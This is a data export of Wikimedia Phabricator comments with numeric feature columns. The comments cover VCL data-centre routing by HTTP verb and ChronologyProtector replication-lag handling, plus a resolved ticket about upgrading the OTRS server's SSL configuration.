Also, our sessions are replicated by redis; There is no guarantee that the session will have less replication lag than MySql at the moment.

I am starting to wonder if the sticky cookie isn't a better idea."
1070828,Create HTTP verb and sticky cookie DC routing in VCL ,"Change 434034 had a related patch set uploaded (by Tim Starling; owner: Tim Starling):
[mediawiki/core@master] MW-Replica-Lag response header

[[https://gerrit.wikimedia.org/r/434034]]",,,1526749199,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,False,,,150,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,24.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,19.0,3.810810810810811,0.8108108108108109,"Change 434034 had a related patch set uploaded (by Tim Starling; owner: Tim Starling):
[mediawiki/core@master] MW-Replica-Lag response header

[[GERRIT_URL]]"
1070809,Create HTTP verb and sticky cookie DC routing in VCL ,"Currently, ChronologyProtector times out after 10 seconds, this is configurable. Timeout causes ""lagged replica mode"" to be set, and Skin::lastModified() responds to this mode by putting a warning in the page footer.  Maybe OutputPage::output() would be a good place to send a lagged replica mode response header. Note that lagged replica mode will also be set by LoadBalancer::getReaderIndex() if the lag exceeds the ""max lag"" parameter, currently 6 seconds in db-eqiad.php. Is it acceptable to send a retry hint to varnish in either case?",,,1526746921,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,True,,,150,True,0.0,0.0,0.0,1.5,0.0,2.0,1.0,0.0,0.0,1.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,3.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.5,0.0,3.5,1.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,16.5,1.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,5.5,3.5,6.0,2.0,0.5,7.5,0.0,0.0,0.0,0.0,6.0,0.0,1.5,0.0,1.0,10.0,5.0,1.0,3.0,0.0,1.0,0.0,0.0,3.0,0.0,0.5,0.0,0.0,0.0,4.394230769230769,0.7788461538461539,"Currently, ChronologyProtector times out after 10 seconds, this is configurable. Timeout causes ""lagged replica mode"" to be set, and Skin::lastModified() responds to this mode by putting a warning in the page footer.  Maybe OutputPage::output() would be a good place to send a lagged replica mode response header. Note that lagged replica mode will also be set by LoadBalancer::getReaderIndex() if the lag exceeds the ""max lag"" parameter, currently 6 seconds in db-eqiad.php. Is it acceptable to send a retry hint to varnish in either case?"
1070808,Create HTTP verb and sticky cookie DC routing in VCL ,"Currently, ChronologyProtector times out after 10 seconds, this is configurable. Timeout causes ""lagged replica mode"" to be set, and Skin::lastModified() responds to this mode by putting a warning in the page footer.  Maybe OutputPage::output() would be a good place to send a lagged slave mode response header. Note that lagged replica mode will also be set by LoadBalancer::getReaderIndex() if the lag exceeds the ""max lag"" parameter, currently 6 seconds in db-eqiad.php. Is it acceptable to send a retry hint to varnish in either case?",,,1526746833,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,True,,,150,True,0.0,0.0,0.0,1.5,0.0,2.0,1.0,0.0,0.0,1.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,3.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.5,0.0,3.5,1.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,16.5,1.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,5.5,3.5,6.0,2.0,0.5,7.5,0.0,0.0,0.0,0.0,6.0,0.0,1.5,0.0,1.0,10.0,5.0,1.0,3.0,0.0,1.0,0.0,0.0,3.0,0.0,0.5,0.0,0.0,0.0,4.375,0.7884615384615385,"Currently, ChronologyProtector times out after 10 seconds, this is configurable. Timeout causes ""lagged replica mode"" to be set, and Skin::lastModified() responds to this mode by putting a warning in the page footer.  Maybe OutputPage::output() would be a good place to send a lagged slave mode response header. Note that lagged replica mode will also be set by LoadBalancer::getReaderIndex() if the lag exceeds the ""max lag"" parameter, currently 6 seconds in db-eqiad.php. Is it acceptable to send a retry hint to varnish in either case?"
1070799,Create HTTP verb and sticky cookie DC routing in VCL ,"Right, I forgot, that was discussed as an optimization (vs having ChronologyProtector just timeout -> stale invisibly in a case where we may have some operational issue causing persistent, large replication lag).

If possible, ChronologyProtector could basically return a stale result after some short timeout which includes some kind of ""X-MW-Chronology: Fail"" response header or whatever, and then Varnish could use this hint to retry the request against the master dc and save the user some pain.

 We might need followup discussion about whether it's best to do this always/automatically, vs having the fallback behavior controlled by some ""db lag emergency mode"" runtime switch, as always-on fallback could exacerbate a master-load-induced lag situation (but there are other causal situations where it doesn't hurt).",,,1526745606,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,True,,,150,True,3.0,0.0,0.0,0.5,0.5,6.5,0.0,0.0,0.0,0.5,1.5,0.5,0.0,0.0,0.5,1.5,0.0,5.5,8.5,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.5,2.5,0.5,1.5,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.5,1.0,0.5,0.5,0.5,0.5,0.0,0.0,0.5,0.0,0.5,1.0,0.0,0.0,1.0,0.5,0.0,4.5,1.0,5.5,2.5,2.5,9.5,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,3.0,8.5,4.0,0.0,2.5,0.0,3.0,0.0,2.5,2.0,0.0,1.5,0.0,0.5,0.5,4.407753164556962,0.8175632911392405,"Right, I forgot, that was discussed as an optimization (vs having ChronologyProtector just timeout -> stale invisibly in a case where we may have some operational issue causing persistent, large replication lag).

If possible, ChronologyProtector could basically return a stale result after some short timeout which includes some kind of ""X-MW-Chronology: Fail"" response header or whatever, and then Varnish could use this hint to retry the request against the master dc and save the user some pain.

 We might need followup discussion about whether it's best to do this always/automatically, vs having the fallback behavior controlled by some ""db lag emergency mode"" runtime switch, as always-on fallback could exacerbate a master-load-induced lag situation (but there are other causal situations where it doesn't hurt)."
1070798,Create HTTP verb and sticky cookie DC routing in VCL ,"haRight, I forgot, that was discussed as an optimization (vs having ChronologyProtector just timeout -> stale invisibly in a case where we may have some operational issue causing persistent, large replication lag).

If possible, ChronologyProtector could basically return a stale result after some short timeout which includes some kind of ""X-MW-Chronology: Fail"" response header or whatever, and then Varnish could use this hint to retry the request against the master dc and save the user some pain.

 We might need followup discussion about whether it's best to do this always/automatically, vs having the fallback behavior controlled by some ""db lag emergency mode"" runtime switch, as always-on fallback could exacerbate a master-load-induced lag situation (but there are other causal situations where it doesn't hurt).",,,1526745595,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,True,,,150,True,3.0,0.0,0.0,0.5,0.5,6.5,0.0,0.0,0.0,0.5,1.5,0.5,0.0,0.0,0.5,1.5,0.0,5.5,8.5,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.5,2.5,0.5,1.5,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.5,1.0,0.5,0.5,0.5,0.5,0.0,0.0,0.5,0.0,0.5,1.0,0.0,0.0,1.0,0.5,0.0,4.5,1.0,5.0,2.5,2.5,9.5,0.0,0.0,0.0,0.0,6.0,0.5,0.0,0.0,3.0,8.5,4.5,0.0,2.5,0.0,3.0,0.0,2.5,2.0,0.0,1.5,0.0,0.5,0.5,4.4202531645569625,0.8175632911392405,"haRight, I forgot, that was discussed as an optimization (vs having ChronologyProtector just timeout -> stale invisibly in a case where we may have some operational issue causing persistent, large replication lag).

If possible, ChronologyProtector could basically return a stale result after some short timeout which includes some kind of ""X-MW-Chronology: Fail"" response header or whatever, and then Varnish could use this hint to retry the request against the master dc and save the user some pain.

 We might need followup discussion about whether it's best to do this always/automatically, vs having the fallback behavior controlled by some ""db lag emergency mode"" runtime switch, as always-on fallback could exacerbate a master-load-induced lag situation (but there are other causal situations where it doesn't hurt)."
1070797,Create HTTP verb and sticky cookie DC routing in VCL ,"Right, I forgot, that was discussed as an optimization (vs having ChronologyProtector just timeout -> fail blindly in a case where we may have some operational issue causing persistent, large replication lag).  If possible, ChronologyProtector can basically return a stale result after some short timeout, it should include some kind of ""X-MW-Chronology: Fail"" response header or whatever, and then Varnish could use this hint to retry the request against the master dc and save the user some pain.  We might need followup discussion about whether it's best to do this always/automatically, vs having the fallback behavior controlled by some ""db lag emergency mode"" runtime switch, as it could be that always-on fallback could exacerbate a master-load-induce lag situation (but there are other causal situations where it doesn't hurt).",,,1526745468,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,True,,,150,True,2.5,0.0,0.0,0.5,0.5,6.5,0.5,0.0,0.0,0.5,1.5,0.5,0.0,0.0,0.5,1.5,0.0,5.5,9.0,0.0,1.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,3.5,0.0,0.5,2.5,0.5,2.5,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.5,1.5,0.5,0.5,0.5,0.5,0.0,0.0,0.5,0.0,0.5,1.0,0.0,0.0,1.0,0.0,0.0,4.5,1.5,5.5,3.0,2.0,9.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,4.0,9.0,3.5,0.0,2.0,0.0,4.0,0.0,2.0,2.0,0.0,1.5,0.0,0.5,0.5,4.290258595357038,0.8241257713781958,"Right, I forgot, that was discussed as an optimization (vs having ChronologyProtector just timeout -> fail blindly in a case where we may have some operational issue causing persistent, large replication lag).  If possible, ChronologyProtector can basically return a stale result after some short timeout, it should include some kind of ""X-MW-Chronology: Fail"" response header or whatever, and then Varnish could use this hint to retry the request against the master dc and save the user some pain.  We might need followup discussion about whether it's best to do this always/automatically, vs having the fallback behavior controlled by some ""db lag emergency mode"" runtime switch, as it could be that always-on fallback could exacerbate a master-load-induce lag situation (but there are other causal situations where it doesn't hurt)."
1070796,Create HTTP verb and sticky cookie DC routing in VCL ,"Right, I forgot, that was discussed as an optimization (vs having ChronologyProtector just timeout -> fail blindly in a case where we may have some operationalh issue causing persistent, large replication lag).  If possible, ChronologyProtector can basically return a stale result after some short timeout, it should include some kind of ""X-MW-Chronology: Fail"" response header or whatever, and then Varnish could use this hint to retry the request against the master dc and save the user some pain.  We might need followup discussion about whether it's best to do this always/automatically, vs having the fallback behavior controlled by some ""db lag emergency mode"" runtime switch, as it could be that always-on fallback could exacerbate a master-load-induce lag situation (but there are other causal situations where it doesn't hurt).",,,1526745425,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,True,,,150,True,2.5,0.0,0.0,0.5,0.5,6.5,0.5,0.0,0.0,0.5,1.5,0.5,0.0,0.0,0.5,1.5,0.0,5.5,9.0,0.0,1.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,3.5,0.0,0.5,2.5,0.5,2.5,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.5,1.5,0.5,0.5,0.5,0.5,0.0,0.0,0.5,0.0,0.5,1.0,0.0,0.0,1.0,0.0,0.0,4.5,1.5,5.5,3.0,2.0,9.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,4.0,9.0,3.5,0.0,2.0,0.0,4.0,0.0,2.0,2.0,0.0,1.5,0.5,0.5,0.5,4.296282691742579,0.8241257713781958,"Right, I forgot, that was discussed as an optimization (vs having ChronologyProtector just timeout -> fail blindly in a case where we may have some operationalh issue causing persistent, large replication lag).  If possible, ChronologyProtector can basically return a stale result after some short timeout, it should include some kind of ""X-MW-Chronology: Fail"" response header or whatever, and then Varnish could use this hint to retry the request against the master dc and save the user some pain.  We might need followup discussion about whether it's best to do this always/automatically, vs having the fallback behavior controlled by some ""db lag emergency mode"" runtime switch, as it could be that always-on fallback could exacerbate a master-load-induce lag situation (but there are other causal situations where it doesn't hurt)."
1070788,Create HTTP verb and sticky cookie DC routing in VCL ,"About ChronologyProtector: 

- If ChronologyProtector kicks in, it should send back a specific header to varnish
- in the case the request was not sent to the master DC, it should be retried to the master DC.",,,1526744703,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,True,,,150,True,0.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,2.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,5.0,14.0,2.0,0.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,5.0,16.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.023255813953488,0.6976744186046512,"About ChronologyProtector: 

- If ChronologyProtector kicks in, it should send back a specific header to varnish
- in the case the request was not sent to the master DC, it should be retried to the master DC."
1070785,Create HTTP verb and sticky cookie DC routing in VCL ,"Right.  Just to re-state for clarity, the sort of logic we should be implementing in VCL (in the cache layers) will look like this pseudo-code:

```
if ($local_dc != $master_dc) {
    if ((req.method !~ ""^(GET|HEAD|OPTIONS)$"" && !req.http.Promise-Non-Write-API-Action) || req.url ~ ""[?&]action=rollback) {
        use_master_dc();
    } else {
        use_local_dc();
    }
}
```",,,1526744375,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,True,,,150,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,17.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,10.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,2.0,17.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.1463414634146343,0.8536585365853658,"Right.  Just to re-state for clarity, the sort of logic we should be implementing in VCL (in the cache layers) will look like this pseudo-code:

``CODE``"
1070784,Create HTTP verb and sticky cookie DC routing in VCL ,"Right.  Just to re-state for clarity, the sort of logic we should be implementing in VCL (in the cache layers) will look like this pseudo-code:

```
if ($local_dc != $master_dc) {
    if ((req.method !~ ""^(GET|HEAD|OPTIONS)$"" && ~req.http.Promise-Non-Write-API-Action) || req.url ~ ""[?&]action=rollback) {
        use_master_dc();
    } else {
        use_local_dc();
    }
}
```",,,1526744325,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,True,,,150,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,17.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,10.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,2.0,17.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.1463414634146343,0.8536585365853658,"Right.  Just to re-state for clarity, the sort of logic we should be implementing in VCL (in the cache layers) will look like this pseudo-code:

``CODE``"
1070719,Create HTTP verb and sticky cookie DC routing in VCL ,"I explained ChronologyProtector to @Joe and @BBlack just now. They seemed happy with the idea of not sending a useDC cookie for now, and just relying on ChronologyProtector instead to ensure that the user is presented with an up-to-date view of the site. So the current idea would be to have routing based on HTTP verb, with two exceptions:

* URLs containing action=rollback would be routed to the master DC, to work around T88044. 
* Requests with the Promise-Non-Write-API-Action header would be routed to the nearest DC regardless of HTTP verb.",,,1526737652,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,True,,,150,True,0.0,0.0,0.0,2.5,0.5,3.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,1.0,4.5,12.5,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,2.5,1.0,0.5,0.5,0.0,2.5,0.0,0.5,0.0,1.0,1.5,0.0,0.5,1.0,2.0,0.0,0.0,0.0,0.0,0.5,11.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,3.0,13.0,0.5,0.5,5.5,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,1.0,12.5,10.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,2.5,0.0,1.0,0.0,4.155858395989975,0.7341791979949874,"I explained ChronologyProtector toSCREEN_NAME andSCREEN_NAME just now. They seemed happy with the idea of not sending a useDC cookie for now, and just relying on ChronologyProtector instead to ensure that the user is presented with an up-to-date view of the site. So the current idea would be to have routing based on HTTP verb, with two exceptions:

* URLs containing action=rollback would be routed to the master DC, to work around T88044. 
* Requests with the Promise-Non-Write-API-Action header would be routed to the nearest DC regardless of HTTP verb."
752490,Create HTTP verb and sticky cookie DC routing in VCL ,"Change 247970 abandoned by Ori.livneh:
varnish: add prototype cookie-based backend selection

[[https://gerrit.wikimedia.org/r/247970]]",,,1477924745,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,False,,,69,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.5,0.8636363636363636,"Change 247970 abandoned by Ori.livneh:
varnish: add prototype cookie-based backend selection

[[GERRIT_URL]]"
559625,Create HTTP verb and sticky cookie DC routing in VCL ,"Change 248668 merged by jenkins-bot:
Add header to flag API POST requests with no write intentions

[[https://gerrit.wikimedia.org/r/248668]]",,,1446849087,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,False,,,18,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.8461538461538463,0.9230769230769231,"Change 248668 merged by jenkins-bot:
Add header to flag API POST requests with no write intentions

[[GERRIT_URL]]"
551752,Create HTTP verb and sticky cookie DC routing in VCL ,"Change 248668 had a related patch set uploaded (by Aaron Schulz):
Add ?idempotent=1 flag for API modules

[[https://gerrit.wikimedia.org/r/248668]]
",,,1445755598,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,False,,,16,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.7857142857142856,0.8928571428571429,"Change 248668 had a related patch set uploaded (by Aaron Schulz):
Add ?idempotent=1 flag for API modules

[[GERRIT_URL]]
"
550222,Create HTTP verb and sticky cookie DC routing in VCL ,"Change 247970 had a related patch set uploaded (by Ori.livneh):
varnish: add prototype cookie-based backend selection

[[https://gerrit.wikimedia.org/r/247970]]
",,,1445488442,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,False,,,16,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.137931034482759,0.896551724137931,"Change 247970 had a related patch set uploaded (by Ori.livneh):
varnish: add prototype cookie-based backend selection

[[GERRIT_URL]]
"
91504,SSL-config of the OTRS is outdated,"The SSL-config of the OTRS (ticket.wikimedia.org) is outdated. No PFS, weak key-options and the MAC of the certificate still use SHA1 (the later is not that urgent and can be fixed during the next cert-renewing).
Because the OTRS contains sensitive data, a SSL-setup that is at least as secure as the SSL-config for Wikipedia is needed. 
Maybe it would be a good idea to config DNSSEC for that domain too (and if you REALLY in the mood: DANE too).",Medium,50.0,1425479156,1454545556.0,PHID-USER-4nukugv22wnc3p6k557t,False,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_description,resolved,True,c3,1,False,False,False,-18,True,0.0,0.0,0.0,2.0,0.5,6.0,2.0,0.5,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,5.5,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.0,1.0,0.0,7.0,0.0,1.5,1.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.5,4.5,11.0,1.5,2.0,9.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,2.0,8.5,8.5,0.0,0.0,0.0,2.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,3.5576923076923075,0.7596153846153846,"The SSL-config of the OTRS (ticket.wikimedia.org) is outdated. No PFS, weak key-options and the MAC of the certificate still use SHA1 (the later is not that urgent and can be fixed during the next cert-renewing).
Because the OTRS contains sensitive data, a SSL-setup that is at least as secure as the SSL-config for Wikipedia is needed. 
Maybe it would be a good idea to config DNSSEC for that domain too (and if you REALLY in the mood: DANE too)."
603533,SSL-config of the OTRS is outdated,">>! In T91504#1996450, @Dzahn wrote:
> https://www.ssllabs.com/ssltest/analyze.html?d=ticket.wikimedia.org   grade A
> 
> @DaBPunkt i would like to claim this is resolved. All the main things you listed when this was created have been addressed meanwhile.

ok.

",,,1454606194,,PHID-USER-4nukugv22wnc3p6k557t,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,3,False,,,31,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,45.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.727272727272727,0.45454545454545453,"QUOTE
QUOTE
QUOTE
QUOTE

ok.

"
603055,SSL-config of the OTRS is outdated,"https://www.ssllabs.com/ssltest/analyze.html?d=ticket.wikimedia.org   grade A

@DaBPunkt i would like to claim this is resolved. All the main things you listed when this was created have been addressed meanwhile.

- does not use SHA1, uses SHA256
- Forward Secrecy  is: 	Yes (with most browsers)   ROBUST
- EC 256 bits 

and DNSSEC and DANE was listed as a ""if you are in the mood"" and is not going to happen as a special case for just OTRS. if it is it would be a separate and long-term ticket for multiple services.",,,1454545536,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,3,True,,,31,True,0.5,0.0,0.0,2.5,1.5,4.5,2.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.5,0.0,3.5,8.5,0.0,1.5,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,1.5,0.0,5.5,0.0,2.0,0.5,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,1.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,4.0,6.5,9.0,2.5,3.5,5.5,0.0,0.0,0.0,0.0,3.5,0.5,1.0,0.0,4.0,8.5,7.0,0.0,2.0,0.0,4.0,0.0,0.5,3.0,0.0,1.0,0.0,0.5,0.0,3.4444444444444446,0.8240740740740741,"URL   grade A
SCREEN_NAME i would like to claim this is resolved. All the main things you listed when this was created have been addressed meanwhile.

- does not use SHA1, uses SHA256
- Forward Secrecy  is: 	Yes (with most browsers)   ROBUST
- EC 256 bits 

and DNSSEC and DANE was listed as a ""if you are in the mood"" and is not going to happen as a special case for just OTRS. if it is it would be a separate and long-term ticket for multiple services."
